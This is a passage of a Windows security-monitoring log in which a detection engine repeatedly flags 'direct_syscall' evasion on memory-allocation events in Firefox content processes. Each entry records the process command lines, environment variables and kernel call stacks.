ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff804db142714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff804db074909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff804db148ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff804db82a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff804db663d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff804db6629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff804db4b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff804db4a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff804db824004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff804db09315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff804db0400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff804db4addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff797d07f97 C:\Program Files\Mozilla Firefox\firefox.exe!TargetCreateThread|0x7ff797cd345d C:\Program Files\Mozilla Firefox\firefox.exe!TargetNtOpenThreadToken64|0x7fff698a799b C:\Windows\System32\ntdll.dll!RtlTimeToSecondsSince1970|0x7fff6991f96e C:\Windows\System32\ntdll.dll!RtlEncodeRemotePointer|0x7fff697cbcae C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff697cbf5e C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff697cbad2 C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff6987b98b C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7fff6987b83a C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7fff698a910e C:\Windows\System32\ntdll.dll!LdrInitializeThunk] source=evasion/scanner.go:68 +time=2025-11-24T19:14:14+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 2530333 + Pid: 1620 + Tid: 24332 + Type: VirtualAlloc + CPU: 4 + Name: VirtualAlloc + Category: mem + Description: Reserves, commits, or changes the state of a region of memory within the process virtual address space + Host: archrabbit + Timestamp: 2025-11-24 19:14:12.0685221 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ bbfdb3a000, exe➜ C:\Program Files\Mozilla Firefox\firefox.exe, name➜ firefox.exe, page_type➜ PRIVATE, pid➜ 1620, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 12288 + Metadata: evasions: [direct_syscall] + + Pid: 1620 + Ppid: 12980 + Name: firefox.exe + Parent name: firefox.exe + Cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 11664:48747 -prefMapHandle 11464:292858 -jsInitHandle 11604:224660 -parentBuildID 20251118022223 -ipcHandle 11660 -initialChannelId {4eb7f9e2-2d0e-48f8-aa32-05143d83f1f4} -parentPid 12980 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12980" -crashHelper 11608 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 31 tab + Parent cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" + Exe: C:\Program Files\Mozilla Firefox\firefox.exe + Cwd: C:\Program Files\Mozilla Firefox\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: UNTRUSTED + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 11664:48747 -prefMapHandle 11464:292858 -jsInitHandle 11604:224660 -parentBuildID 20251118022223 -ipcHandle 11660 -initialChannelId {4eb7f9e2-2d0e-48f8-aa32-05143d83f1f4} -parentPid 12980 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12980" -crashHelper 11608 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 31 tab] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1168_1262719628:1 EFC_1168_1592913036:1 EFC_1168_2283032206:1 EFC_1168_2775293581:1 EFC_1168_3789132940:1 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT MALLOC_OPTIONS:r MOZ_CRASHREPORTER_DATA_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Crash Reports MOZ_CRASHREPORTER_EVENTS_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Profiles\5z7ambtf.default-release\crashes\events MOZ_CRASHREPORTER_PING_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Pending Pings NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Mozilla Firefox;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff804db142714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff804db074909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff804db148ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff804db82a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff804db663d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff804db6629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff804db4b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff804db4a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff804db824004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff804db09315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff804db0400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff804db4addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff797d07f97 C:\Program Files\Mozilla Firefox\firefox.exe!TargetCreateThread|0x7ff797cd345d C:\Program Files\Mozilla Firefox\firefox.exe!TargetNtOpenThreadToken64|0x7fff698a799b C:\Windows\System32\ntdll.dll!RtlTimeToSecondsSince1970|0x7fff6991f96e C:\Windows\System32\ntdll.dll!RtlEncodeRemotePointer|0x7fff697cbcae C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff697cbf5e C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff697cbad2 C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff6987b98b C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7fff6987b83a C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7fff698a910e C:\Windows\System32\ntdll.dll!LdrInitializeThunk] source=evasion/scanner.go:68 +time=2025-11-24T19:14:14+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 2530344 + Pid: 15736 + Tid: 24336 + Type: VirtualAlloc + CPU: 5 + Name: VirtualAlloc + Category: mem + Description: Reserves, commits, or changes the state of a region of memory within the process virtual address space + Host: archrabbit + Timestamp: 2025-11-24 19:14:12.0836114 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ 3ac0eba000, exe➜ C:\Program Files\Mozilla Firefox\firefox.exe, name➜ firefox.exe, page_type➜ PRIVATE, pid➜ 15736, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 12288 + Metadata: evasions: [direct_syscall] + + Pid: 15736 + Ppid: 12980 + Name: firefox.exe + Parent name: firefox.exe + Cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 12308:48747 -prefMapHandle 13916:292858 -jsInitHandle 12988:224660 -parentBuildID 20251118022223 -ipcHandle 14268 -initialChannelId {575df05f-80cd-41f2-8849-e53a1e6321e5} -parentPid 12980 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12980" -crashHelper 12324 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 53 tab + Parent cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" + Exe: C:\Program Files\Mozilla Firefox\firefox.exe + Cwd: C:\Program Files\Mozilla Firefox\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: UNTRUSTED + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 12308:48747 -prefMapHandle 13916:292858 -jsInitHandle 12988:224660 -parentBuildID 20251118022223 -ipcHandle 14268 -initialChannelId {575df05f-80cd-41f2-8849-e53a1e6321e5} -parentPid 12980 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12980" -crashHelper 12324 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 53 tab] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1168_1262719628:1 EFC_1168_1592913036:1 EFC_1168_2283032206:1 EFC_1168_2775293581:1 EFC_1168_3789132940:1 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT MALLOC_OPTIONS:r MOZ_CRASHREPORTER_DATA_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Crash Reports MOZ_CRASHREPORTER_EVENTS_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Profiles\5z7ambtf.default-release\crashes\events MOZ_CRASHREPORTER_PING_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Pending Pings NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Mozilla Firefox;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff804db142714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff804db074909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff804db148ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff804db82a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff804db663d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff804db6629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff804db4b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff804db4a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff804db824004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff804db09315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff804db0400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff804db4addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff797d07f97 C:\Program Files\Mozilla Firefox\firefox.exe!TargetCreateThread|0x7ff797cd345d C:\Program Files\Mozilla Firefox\firefox.exe!TargetNtOpenThreadToken64|0x7fff698a799b C:\Windows\System32\ntdll.dll!RtlTimeToSecondsSince1970|0x7fff6991f96e C:\Windows\System32\ntdll.dll!RtlEncodeRemotePointer|0x7fff697cbcae C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff697cbf5e C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff697cbad2 C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff6987b98b C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7fff6987b83a C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7fff698a910e C:\Windows\System32\ntdll.dll!LdrInitializeThunk] source=evasion/scanner.go:68 +time=2025-11-24T19:14:14+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 2530367 + Pid: 3908 + Tid: 24300 + Type: VirtualAlloc + CPU: 4 + Name: VirtualAlloc + Category: mem + Description: Reserves, commits, or changes the state of a region of memory within the process virtual address space + Host: archrabbit + Timestamp: 2025-11-24 19:14:12.0996582 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ c78c4fa000, exe➜ C:\Program Files\Mozilla Firefox\firefox.exe, name➜ firefox.exe, page_type➜ PRIVATE, pid➜ 3908, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 12288 + Metadata: evasions: [direct_syscall] + + Pid: 3908 + Ppid: 12980 + Name: firefox.exe + Parent name: firefox.exe + Cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 12744:48747 -prefMapHandle 12696:292858 -jsInitHandle 12736:224660 -parentBuildID 20251118022223 -ipcHandle 12640 -initialChannelId {1ab7a14c-9052-42f1-b6e5-5e95b13b393d} -parentPid 12980 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12980" -crashHelper 13020 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 36 tab + Parent cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" + Exe: C:\Program Files\Mozilla Firefox\firefox.exe + Cwd: C:\Program Files\Mozilla Firefox\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: UNTRUSTED + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 12744:48747 -prefMapHandle 12696:292858 -jsInitHandle 12736:224660 -parentBuildID 20251118022223 -ipcHandle 12640 -initialChannelId {1ab7a14c-9052-42f1-b6e5-5e95b13b393d} -parentPid 12980 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12980" -crashHelper 13020 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 36 tab] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1168_1262719628:1 EFC_1168_1592913036:1 EFC_1168_2283032206:1 EFC_1168_2775293581:1 EFC_1168_3789132940:1 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT MALLOC_OPTIONS:r MOZ_CRASHREPORTER_DATA_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Crash Reports MOZ_CRASHREPORTER_EVENTS_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Profiles\5z7ambtf.default-release\crashes\events MOZ_CRASHREPORTER_PING_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Pending Pings NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Mozilla Firefox;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff804db142714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff804db074909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff804db148ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff804db82a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff804db663d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff804db6629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff804db4b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff804db4a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff804db824004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff804db09315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff804db0400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff804db4addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff797d07f97 C:\Program Files\Mozilla Firefox\firefox.exe!TargetCreateThread|0x7ff797cd345d C:\Program Files\Mozilla Firefox\firefox.exe!TargetNtOpenThreadToken64|0x7fff698a799b C:\Windows\System32\ntdll.dll!RtlTimeToSecondsSince1970|0x7fff6991f96e C:\Windows\System32\ntdll.dll!RtlEncodeRemotePointer|0x7fff697cbcae C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff697cbf5e C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff697cbad2 C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff6987b98b C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7fff6987b83a C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7fff698a910e C:\Windows\System32\ntdll.dll!LdrInitializeThunk] source=evasion/scanner.go:68 +time=2025-11-24T19:14:14+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 2530366 + Pid: 6644 + Tid: 24348 + Type: VirtualAlloc + CPU: 5 + Name: VirtualAlloc + Category: mem + Description: Reserves, commits, or changes the state of a region of memory within the process virtual address space + Host: archrabbit + Timestamp: 2025-11-24 19:14:12.0996582 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ e13687a000, exe➜ C:\Program Files\Mozilla Firefox\firefox.exe, name➜ firefox.exe, page_type➜ PRIVATE, pid➜ 6644, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 12288 + Metadata: evasions: [direct_syscall] + + Pid: 6644 + Ppid: 12980 + Name: firefox.exe + Parent name: firefox.exe + Cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 14964:48747 -prefMapHandle 14988:292858 -jsInitHandle 14992:224660 -parentBuildID 20251118022223 -ipcHandle 15000 -initialChannelId {7ca847e7-0e3d-484c-bba7-eae882aa37af} -parentPid 12980 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12980" -crashHelper 15116 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 46 tab + Parent cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" + Exe: C:\Program Files\Mozilla Firefox\firefox.exe + Cwd: C:\Program Files\Mozilla Firefox\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: UNTRUSTED + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 14964:48747 -prefMapHandle 14988:292858 -jsInitHandle 14992:224660 -parentBuildID 20251118022223 -ipcHandle 15000 -initialChannelId {7ca847e7-0e3d-484c-bba7-eae882aa37af} -parentPid 12980 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12980" -crashHelper 15116 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 46 tab] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files 